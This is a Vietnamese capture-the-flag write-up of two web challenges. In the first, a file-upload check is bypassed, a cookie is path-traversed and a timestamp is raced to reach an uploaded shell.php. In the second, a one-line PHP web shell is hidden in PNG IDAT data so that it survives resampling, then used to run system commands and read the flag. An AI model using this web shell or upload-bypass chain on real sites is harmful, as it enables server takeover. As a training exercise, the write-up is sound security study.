Image Not Showing
Possible Reasons
- The image was uploaded to a note which you don't have access to
- The note which the image was originally uploaded to has been deleted
Learn More →
Đề bài:
Image Not Showing
Possible Reasons
- The image was uploaded to a note which you don't have access to
- The note which the image was originally uploaded to has been deleted
Learn More →
- Challenge có cho mình cả source code nữa, đáng chú ý là phần index.php cho ta biết cách xử lý ảnh chèn vào:
- Challenge là một trang web dùng để upload ảnh lên, sau đó sẽ hiện ra thông tin(metadata) của ảnh đó
Phương hướng thực hiện:
- Đầu tiên ta sẽ để ý việc trang web sẽ chỉ check type của file ta upload, nên ta có thể bypass bằng cách chỉnh
Content-Type
:
- Tiếp đến có một phần rất sus là tên file được upload lên, với công thức là:
- Phần cookie ta có thể control được, tên file được nối từ thư mục upload, giá trị cookie của user, giá trị timestamp, và cuối cùng là tên file của chúng ta. Kết hợp với việc em đã thử rất nhiều thì em thấy chỉ có thể trỏ đến
/index.php
, còn lại sẽ 404 hết, nên em đã nghĩ đến việc path traversal ở phần cookie, đưa nó vào nơi có thể lấy được như là /var/www/html/
:
Image Not Showing
Possible Reasons
- The image was uploaded to a note which you don't have access to
- The note which the image was originally uploaded to has been deleted
Learn More →
- Cụ thể trong trường hợp trên file name của em sẽ là:
/var/tmp/../../../../../../var/www/html/_timestamp_shell.php
, khi đó em chỉ cần GET được nó là em sẽ có flag
- Vấn đề giờ là làm cách nào để có thể lấy được giá trị của timestamp này đây, sau đó em đã đi hỏi và được các anh chỉ dần script:
- Script sẽ thực hiện RCE, sau đó hiện lại kết quả ở Burp với proxy
127.0.0.1:8080
, script tự POST lên file shell.php đồng thời lấy nó với giá trị timestamp tự gen ra(sẽ có sự chênh lệch)
- Ở những lần thử đầu em nhận thấy giá trị timestamp của em lâu hơn 2s so với server, nên em đã chỉnh giá trị thời gian đó -2:

1692523341
và 1692523343
, mình bị trễ 2s, nhưng sau đó khi chỉnh lại script thì ta có kết quả:

- Flag: BKSEC{Th!s_1s_just_the_st@rt_0f_the_r@ce_7f5c771924ece71e0150bc95bc0b9f4c}
2. Image Copy Resampled

Đề bài
- Challenge là một trang web có tính năng upload ảnh, sau đó nó sẽ đưa chất lượng ảnh xuống 40x40px:

- Ta cũng được cung cấp source của challenge:
Phương hướng thực hiện:
- Đầu tiên khi đọc ta sẽ thấy rất bất ngờ vì trang web cho phép upload file .php (ngolll), nhưng khi em gửi file php lên thì đời nó không như là mơ:

- Tuy đã gửi thành công, nhưng khi forward đến thì nội dung của trang web không hề bú:

- Vì hàm imagepng đã xổ ra kết quả là file PNG nên em đã không hiện ra được kết quả như mình mong muốn, giờ phương hướng còn lại là gửi ảnh và comment script vào đó, nhưng ta gặp một vấn đề là khi rút ảnh nội dung cũng sẽ bị cắt bỏ, em đã thử và cũng không bú
- Sau khi giải kết thúc thì em đã được hint là sử dụng tool PNG-IDAT-Payload-Generator để chèn payload vào trong ảnh mà khi bị cắt ta không bị mất nội dung:

- Sử dụng tool, ta có ảnh test.php.png có chứa sẵn payload:
<?=$_GET[0]($_POST[1]);?>
, em sẽ bỏ đuôi png sau đó gửi lên server:

- Tiến hành RCE trang web với việc gửi lên biến
0
trên URL là system, và 1
ở phần body là câu lệnh em muốn viết, dựa vào đề bài bảo flag ở thư mục root, em tiến hành thực thi system("ls /")
:

- File flag đã có, giờ em chỉ cần đổi giá trị của tham số 1 ở body:
cat /flagjY3x0.txt
là ta đã có flag:

- Flag: BKSEC{Php_Gd_iDa7_cHunk_1e81f5c3a23abccf25a30314be345c72}